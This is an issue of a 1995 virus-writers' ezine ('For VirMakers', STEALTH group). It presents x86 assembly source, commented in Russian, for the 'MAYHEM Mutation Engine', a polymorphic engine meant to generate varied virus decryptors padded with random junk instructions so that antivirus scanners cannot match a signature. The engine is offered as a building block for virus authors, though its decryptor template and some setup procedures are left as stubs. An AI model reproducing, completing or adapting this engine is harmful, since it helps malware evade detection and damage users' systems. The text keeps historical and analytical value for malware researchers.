           ▄▄                  █
          ▀▀▀ Monthly Magazine █ For VirMakers.                  JULY '95
          ▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀  █▀▀▀▀▀▀█
           ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█    ▌ █ ▄▀█ █ ▄▀▀ █▄▄   █ ▐▀▀█ █
            █ █ █ █▀  █▀  █    █  █▀  █ █    █ █ █ █ █ █   █     █   ▐▌ █
            █ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀     ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄  █   █  █
            ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  █▄▄▄▄▄▄█
           (C) STEALTH group WWide, Box 10, Kiev-148, fUcKRAINE 
 ─────────────────────────────────────────────────────────────────────────────
 Исходник MAYHEM Mutation Engine.
 ─────────────────────────────────────────────────────────────────────────────
; START: ; начало вируса

;------ Константы для MAYHEM ------------------------------------------------

	RECSIZE     equ	 8	; Cтруктура записи базы данных 
	ADDRESS     equ  0
	PLACE       equ  2
	DISTANCE    equ  3
	REALPLACE   equ  4
	R_GROUP     equ  5
	OPERAND     equ  6

	R_AX	equ  0		; Регистры по порядку
	R_CX	equ  1
	R_DX    equ  2
	R_BX    equ  3
	R_SP    equ  4
	R_BP    equ  5
	R_SI    equ  6
	R_DI    equ  7


 HOLLOW DB 16-((HOLLOW-START) MOD 16) DUP(90h)    ; Выравнивание до параграфа
; --------------------------------- ; ТОЧКА ВХОДА ; ------------------------
					          ; CS=DS, ES:DI=Destination
						  ; IP=0.
 MAYHEM:
	PUSH DI					  ; Адрес назначения
	MOV BYTE PTR DS:[R_USED-MAYHEM],00010000B ; Исключаем SP
       ;-----------------------------------------   Находим регистры для групп
	MOV SI,R_MASK-MAYHEM	 	   	  ; Адрес масок для групп
	MOV DI,R_GRP -MAYHEM                      ; Результат

    C1:	CMP BYTE PTR [SI],00			  ; Конец масок ?
	JZ  ENDFORM
						  ; Номер регистра
	MOV  DL,7				  ; RND(0..7) 
	CALL RND

	MOV CL,DL				  ; Представим в виде бита
	MOV AL,1                                  
	SHL AL,CL

   TSTUSED:
	TEST BYTE PTR DS:[R_USED-MAYHEM],AL	  ; Не занят другими ?
	JZ SUITTST
    TSTROL:					  ; От RND нужного сто лет
	INC DL	      				  ; не дождешься. Берем следу-
	ROL AL,1  				  ; ющий по счету регистр и...
	CMP DL,8       	        		
	JB TSTUSED
	XOR DL,DL				  ; дошли до края и - сначала
	JMP TSTUSED				  ; подразумевается, что один
						  ; свободный все-таки будет
    SUITTST:
	TEST BYTE PTR [SI],AL			  ; Никем не занят. А нам он
	JZ   TSTROL				  ; нужен такой ?

	MOV DS:[DI],DL				  ; Нашли регистр для группы
	OR  DS:[R_USED-MAYHEM],AL		  ; помечаем как занятый
	INC DI				
	INC SI
	JMP C1					  ; для следующей группы...	
    ENDFORM:

       ;------------------------------------  Каждому command'у - свое (место)
	MOV SI,MUTAB-MAYHEM	 	    ; Даза банных, где парится MAYHEM
    					    ; сканируем запись за записью 
   C2:	MOV  DL,[SI][DISTANCE]		    ; поле "разброс номера позиции"
	CALL RND			    ; Комманда отстоит на RND(0..Dist)
	ADD  DL,[SI][PLACE]		    ; ...от своего места
	MOV  [SI][REALPLACE],DL		    ; позиция комм. в формируемом коде
	ADD  SI,RECSIZE			    ; следующая запись 	
	CMP  WORD PTR [SI],0000		    ; конец записей ? 
	JNZ  C2

       ;--------------------------------  Приготовления закончены. Теперь
	                                ; соберем все и тогда начнется mayhem!

	POP DI  			; кто забыл ES:DI = МестоНазначения
	MOV AL,-1			; Счетчик позиций 
    
NXTNMB:	INC AL				    ; Следующая позиция 
	CMP AL,(ENDMUTAB-MUTAB)/RECSIZE-1   ; Все позиции размещены ?
	JA  EXITALLOC
					; Сканируем базу на предмет комманд с
	MOV SI,MUTAB-RECSIZE-MAYHEM	; позицией REALPLACE=AL
    NXTELEM:
	ADD SI,RECSIZE			; след. запись
	CMP WORD PTR [SI],0000		
	JE  NXTNMB                      ; конец базы? 

	CMP [SI][REALPLACE],AL	        ; совпали позиции ?
	JNE NXTELEM
					; ДОБАВЛЯЕМ КОММАНДУ + мусор
	PUSH AX			
	CALL DS:[SI]			; адрес процедуры для ДАННОЙ комманды
        CALL TRASHCHAIN                 ; генерируем цепочку мусора
        POP  AX
	JMP NXTELEM
EXITALLOC:
	JMP MAYHEM_OFF
;----------------------------------------------------------------------------
;---------------------------------------  Служебные процедуры MAYHEM  -------

    RND PROC			; DL= RND (0..DL)  Получить случайный байт
				; Обнуляет DH на выходе.
	PUSH AX CX BX			

	OR DL,DL		; RND(0..0)=0
	JZ EXRND

	INC DL			; для 0FFh не надо +1
	JNZ OKK			
	DEC DL
     OKK:
	MOV AX,0100H		; размер единичного отрезка
	DIV DL
	NOT AH			

	XCHG AL,DL		
	IN   AL,40H
	CMP  AL,AH		; Если RND больше, чем ЕдОтр*ВерхГран,
	JBE  OKK1		; то обрезаем до EдOтр*ВерхГран
	MOV  AL,AH
	OKK1:

	XOR AH,AH		; Делим полученный RND-байт на Единичн.Отрезок
	DIV DL
	MOV DL,AL
	XOR DH,DH		

	EXRND:
	POP BX CX AX
	RETN
    RND ENDP

;---------------------------------------------------------------------------
   TRASH PROC	; Добавляет к цепочке случайную комманду
		; По R_USED определяет незанятые регистры
		; ES:DI=место назначения
					
	PUSH AX SI
					; получим адрес одной из таблиц слу-
					; чайных комманд из T_CHAIN
	MOV  SI,T_CHAIN-MAYHEM		
	MOV  DL,(END_T_CHAIN-T_CHAIN)/2-1	; RND номер элемента T_CHAIN
	CALL RND
	SHL  DL,1			; *2_Байта	
	ADD  SI,DX			; [SI]  Здесь адрес одной из таблиц
	MOV  SI,[SI]			; Вот он

				  ; Берем случайную комманду из выбранной
				  ; таблицы. Таблица имеет заголовок:
				  ; кол-во комманд (CMDNUMB), размер комманды
				  ; в таблице(CMDSIZE) и CMDSTAT -байт статуса
	MOV DL,[si][CMDNUMB]	    	
	call RND		  
	mov al,[si][CMDSIZE]
	mul dl
	mov cl,[si][CMDSTAT]
	add si,ax			; SI=Адрес найденной нами комманды
					; CL=байт статуса комманды
	add si,3			; SI=SI+3 (заголовок таблицы)

				; Теперь строим случайную комманду на основа-
				; нии байта статуса комманд этой таблицы

	test cl,CMD	        ; Комманда начинается с постоянного байта ?
	jz   end_cmd
	CLD			; Добавляем в цепочку байт из DS:[SI]
	MOVSB
	end_cmd:

	test cl,CMDPLUS		; Добавить байт + номер регистра ?
	jz  end_cmdplus

	mov dl,7
	call RND		; Получаем номер регистра и проверяем его на
	test cl,REGCHNG		; занятость... 
	jz end_suitreg

	push cx
	mov  cl,dl
	mov  al,1
	shl  al,cl

   cont_tst:
	test ds:[offset R_USED-MAYHEM],AL
	jz pop_end_suitreg

	inc dl
	rol al,1
	cmp dl,8
	jb  cont_tst
	xor dl,dl
	jmp cont_tst

     pop_end_suitreg:
	pop cx
	end_suitreg:

	TEST CL,PLUS8		; Нужно ли номер регистра множить на 8 ?
	JZ ADD1
      ADD8:		
	PUSH AX
	MOV AL,8
	MUL DL
	MOV DL,AL
	POP AX
      ADD1:
	add dl,[si]
	mov es:[di],dl
	inc di
	end_cmdplus:

	test cl,RNDNUMB		; Нужно ли комманде случайное слово ?
	jz end_addrnd
	mov dl,0FFh
	call RND
	mov al,dl
	mov dl,0FFh
	call RND
	mov dh,al
	mov es:[di],dx
	inc di
	inc di
	end_addrnd:
	pop si ax
	retn
			
       ;-------------------------------------------------------------------
	t_chain       dw offset TAB0-MAYHEM	; Адреса таблиц RND комманд
		      dw offset TAB1-MAYHEM
		      dw offset TAB2-MAYHEM
		      dw offset TAB3-MAYHEM
		      dw offset TAB4-MAYHEM
		      dw offset TAB5-MAYHEM
	end_t_chain   dw 0000

       ;-------------------------------------------------------------------
       ;Константы:        
	CMDHDR  equ 3		; Длина заголовка таблицы		
			        ; Смещения полей таблицы
	CMDNUMB equ 0		;       Количество комманд
	CMDSIZE equ 1		;       Размер комманды в таблице
	CMDSTAT equ 2		;       Байт статуса

					; Формат байта статуса: 	
	CMD	equ 00000001b		; CONST_BYTE
	CMDPLUS equ 00000010b		; CONST_BYTE + REG_NO
	PLUS8   EQU 00000100B		; CONST_BYTE + REG_NO*8
	RNDNUMB equ 00001000b		; + RND_WORD 
	REGCHNG equ 10000000b		; меняет значения регистров
	PFXSEG  equ 01000000b		; можно добавлять префикс сегмента

			;---------------- ТАБЛИЦЫ КОММАНД ----------------

	tab0	db (endtab0-cmds0)/01-1		; количество комманд
		db 01				; размер элемента таблицы
		db CMD				; байт статуса
	cmds0:					; сами комманды
		cld				
		sti
		nop
	endtab0:
	;-------------------------------------------------
	tab1	db (endtab1-cmds1)/01-1
		db 01
		db CMDPLUS+REGCHNG+PFXSEG
	cmds1:
		inc ax
		dec ax
	endtab1:
	;-------------------------------------------------
	tab2	db (ENDTAB2-cmds2)/2-1
		db 02
		db CMD+CMDPLUS+REGCHNG+PFXSEG
	cmds2:
		neg ax
		not ax
		rol ax,1
		ror ax,1
		rcr ax,1
		rcl ax,1
		shl ax,1
		shr ax,1
	endtab2:
	;-------------------------------------------------

	tab3	db (ENDTAB3-cmds3)/1-1
		db 1
		db CMDPLUS+RNDNUMB+REGCHNG+PFXSEG
	cmds3:
		db 0B8h		; mov ax
	endtab3:
	;-------------------------------------------------

	tab4	db (ENDTAB4-cmds4)/2-1
		db 2
		db CMD+CMDPLUS+RNDNUMB+PFXSEG+REGCHNG
	cmds4:
		db 81h,0F0h	; xor reg,imm
		db 81h,0E8h	; sub reg,imm
		db 81h,0c0h	; add reg,imm
		db 81h,0e0h	; and reg,imm
		db 81h,0c8h	; or  reg,imm
		db 81h,0d0h	; adc reg,imm
		db 81h,0d8h	; sbb reg,imm
	endtab4:
	;-------------------------------------------------

	TAB5    DB (ENDTAB5-CMDS5)/2-1
		DB 2
		DB CMD+CMDPLUS+PLUS8+RNDNUMB+PFXSEG+REGCHNG
	CMDS5:
		DB 8BH,06H	; MOV REG,MEM
		DB 03H,06H      ; ADD REG,MEM
	ENDTAB5:
	;-------------------------------------------------

   ;	PFXTAB  DB 26h,2eh,36h,3eh		; префиксы сегментов

	TRASH ENDP
   ;-----------------------------------------------------------------------
    TRASHCHAIN PROC		; Добавляет к коду цепочку случайных комманд
	PUSH CX DX
	MOV  DL,08
	CALL RND
	XOR  DH,DH
	INC  DL
	MOV  CX,DX
mm1:	PUSH CX
        CALL ARTRASH            ; Одна процедура генерации мусора
	CALL TRASH		; Другая процедура генерации мусора
	POP CX
	LOOP MM1
	POP DX CX
        RETN
    TRASHCHAIN ENDP

;--- Процедура генерации арифметического мусора с байтовыми регистрами
;    Комманды:  MOV ADD ADC SUB SBB XOR TEST
;    Вид :      CONST+
;               (REG*8+RND(0..7))*(RND(0..3)*40h) +
;               [RNDbyte/RNDword/nothing]
;    Зависимость от 2го байта: 	  06+RND(0..7)*8  :  +WORD       
;                                 00..3F  другие  :  ничего   
;                                 40..7F          :  +BYTE        
;                                 80..BF          :  +WORD
;                                 C0..FF          :  ничего
;    Советую посмотреть комманды самим в HIEW etc.

ARTRASH PROC

        PUSH AX CX DX SI
	
	MOV CL,DS:[R_USED-MAYHEM]      ; Ести все из AX,CX,DX,BX заняты,-EXIT.
	AND CL,0FH
	CMP CL,0FH
	JE  NO_ADD

        MOV  SI,CMDS-MAYHEM	       ; Первые байты комманд
	MOV  DL,CMDSEND-CMDS-1	       ; Случайная комманда в пределах 
        CALL RND
	XOR  DH,DH
	ADD  SI,DX
	CLD			       ; заносим ее в цепочку
	LODSB			
        STOSB

        CALL GETFREEREG		       ; получаем свободный полурегистр
					
        MOV  AL,8
        MUL  DL			       ; REG*8

	MOV  DL,7		       ; + RND(0..7)
        CALL RND
        ADD  AL,DL

	PUSH AX			       ; + RND(0..3)*40H
	MOV  DL,3
	CALL RND
        MOV  AL,40H
	MUL  DL
	POP  DX
	ADD  AL,DL

        STOSB				; второй байт Done.
					; Нужны ли RND в конце комманды ?
	CMP  AL,06
	JE   ADD_W
	CMP  AL,0EH
	JE ADD_W
	CMP  AL,16H
	JE ADD_W
	CMP AL,1EH
	JE ADD_W
	CMP AL,26H
	JE ADD_W
	CMP AL,2EH
	JE ADD_W
	CMP AL,36H
	JE ADD_W
	CMP AL,3EH
	JE ADD_W
	CMP  AL,40H
	JB NO_ADD

        CMP  AL,80H
        JB   ADD_B
        CMP  AL,0C0H
        JAE  NO_ADD
    ADD_W:				; добавить случайное слово
        MOV DL,0FFH			
        CALL RND
	MOV AL,DL
        STOSB
    ADD_B:				; добавить случайный байт
        MOV DL,0FFH
        CALL RND
	MOV AL,DL
        STOSB
    NO_ADD:				; ничего не добавлять
        POP SI DX CX AX
        RETN
;--------------------------------------
CMDS    DB 8AH,32H,02H,1AH,12H,2AH,84H		; комманды
;          MOV XOR ADD SBB ADC SUB TEST
CMDSEND:
ARTRASH ENDP
;-----------------------------------------------------------------------
GETFREEREG PROC                      ; Возвращает номер свободного байтного
                                     ; регистра :  AL=Бит , DL=Номер
        MOV  DL,7
        CALL RND
        MOV  AL,1		     ; в виде бита
	MOV  CL,DL
        SHL  AL,CL
                                     ;                         BhChBlCl 
				     ; байт                    | | | |
	MOV  DH,DS:[R_USED-MAYHEM]   ; для байтных регистров:  76543210
                                     ;                          | | | |
                                     ;                          DhAhDlAl  
	MOV  CH,DH		     ; копируем биты 0..3 в 4..7
	AND  CH,0FH
	MOV  CL,4
	SHL  DH,CL
	ADD  CH,DH
	
  CONTTST:

	TEST AL,CH		      ; подходит ? 		
        JZ   GFR_DONE

        INC DL			      ; нет - сдвигаем и ищем дальше 	
        ROL AL,1
        CMP DL,8
        JB CONTTST
        XOR DL,DL
        JMP CONTTST
   GFR_DONE:			
        RETN
GETFREEREG ENDP
;-----------------------------------------------------------------------
;------------------- Процедуры настройки комманд -----------------------

				; SI  в начале каждой указывает на начало
				; записи в базе для данной комманды
;    .... ..... ......

;------------------------------  общие процедуры настройки комманд  --------

    getreg proc				; находит и возвращает номер регистра
					; данной группы для данного поля базы
	xor  bh,bh
	mov  bl,[si][R_GROUP]
	mov  al,[bx][R_GRP-MAYHEM]	; результат
	retn
    getreg endp

    pusher proc				; добавляет инструкцию PUSH
	call GETREG
	add  al,50h
	stosb
	retn
    pusher endp

    MOV_NUMBER PROC             ; Формирует комманду  MOV Reg,Immed
				; Reg согласно группе, Immed из поля Operand
	call GETREG		; получить регистр по номеру группы
	add  al,0B8h		; "MOV"
	stosb
	mov  ax,[si][OPERAND]
	stosw
	retn
        MOV_NUMBER ENDP

; -------------------  MUTABLE : База данных MAYHEM  -----------------------

	; ------------ Образец расшифровщика ---------------
	; N  Границы   Комманда
        ; -  ----      ----------------------------- 



MUTAB:
        DW  ?                           ; адрес процедуры настройки
        DB  00,07                       ; начальная, конечная позиция
        DB  ?                           ; сюда будет занесено реальное
                                        ; местоположение
        DB  ?                           ; группа регистров
        DW  ?                           ; операнд

        ENDMUTAB DW 0000                ; конец базы данных MAYHEM

	R_USED db 00010000b		; Флаг использованных регистров

        R_MASK db 11101111b             ; все регистры
               db 11001000b             ; индексные регистры
               db 0

	R_GRP  db 8 dup(0) 		; результат закрепления регистров за
					; каждой группой
        ;------------ другие переменные ----------------------------------



        ;-----------------------------------------------------------------
MAYHEM_OFF:				; КОНЕЦ СКАЗОЧКЕ...
	RETF
;----------------------------------------------------------------------------

; ─────────────────────────────────────────────────────────────────────────
; ──────────────── Remember Where You Saw This Phile First ────────────────
; ───────[=] ARRESTED DEVELOPMENT +31.77.3547477 The Netherlands [=]───────
; ─────────────────────────────────────────────────────────────────────────
